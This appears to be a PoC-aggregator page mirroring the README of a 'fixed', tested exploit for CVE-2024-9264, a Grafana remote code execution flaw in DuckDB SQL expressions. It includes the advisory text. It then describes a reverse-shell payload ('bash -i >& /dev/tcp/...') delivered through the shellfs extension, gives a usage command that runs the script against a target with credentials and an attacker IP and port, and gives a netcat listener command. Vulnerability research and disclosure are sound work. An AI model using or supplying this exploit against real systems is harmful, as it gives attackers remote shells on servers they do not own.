CVE-2024-9264 PoC — Grafana SQL Expressions allow for remote code execution

Source

https://github.com/Exerrdev/CVE-2024-9264-Fixed

Associated Vulnerability

Title: Grafana SQL Expressions allow for remote code execution (CVE-2024-9264)
Description:The SQL Expressions experimental feature of Grafana allows for the evaluation of `duckdb` queries containing user input. These queries are insufficiently sanitized before being passed to `duckdb`, leading to a command injection and local file inclusion vulnerability. Any user with the VIEWER or higher permission is capable of executing this attack. The `duckdb` binary must be present in Grafana's $PATH for this attack to function; by default, this binary is not installed in Grafana distributions.

Readme


# 🛠️ CVE-2024-9264 - Fixed Grafana RCE Exploit

This is a **fixed version** of the proof-of-concept exploit for **CVE-2024-9264**, a critical remote code execution vulnerability in Grafana (via SQL expressions and DuckDB).

🔗 Original advisory: [Grafana Security Release](https://grafana.com/blog/2024/10/17/grafana-security-release-critical-severity-fix-for-cve-2024-9264/)  
❌ Original PoC: Broken due to syntax errors and incorrect use of `write_file()`  
✅ This version works, tested on a vulnerable Grafana 11.0.0 instance.

---

## ✅ Fixes in this version

- ✅ Correctly uses `writefile()` instead of `write_file()` (DuckDB function)
- ✅ Proper shell payload using `bash -i >& /dev/tcp/...`
- ✅ Reverse shell written and executed successfully via `shellfs` extension

---

## 📦 Requirements

- Grafana instance with:
  - DuckDB backend
  - Ability to `install shellfs from community`
- A netcat listener on your attacker machine

---

## 🚀 Usage

```bash
python3 fixed_poc_writefile.py \
  --url http://target:3000 \
  --username admin \
  --password admin \
  --reverse-ip <YOUR_IP> \
  --reverse-port 4444
```

Then listen with:

```bash
nc -lvnp 4444
```

---

## ⚠️ Legal Disclaimer

This project is **for educational purposes only**.  
Do not use it against targets you do not have permission to test.

---

## ✍️ Author of this Fix

Modified and validated by [Exerr](https://github.com/Exerrdev) — original PoC by z3k0sec.

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →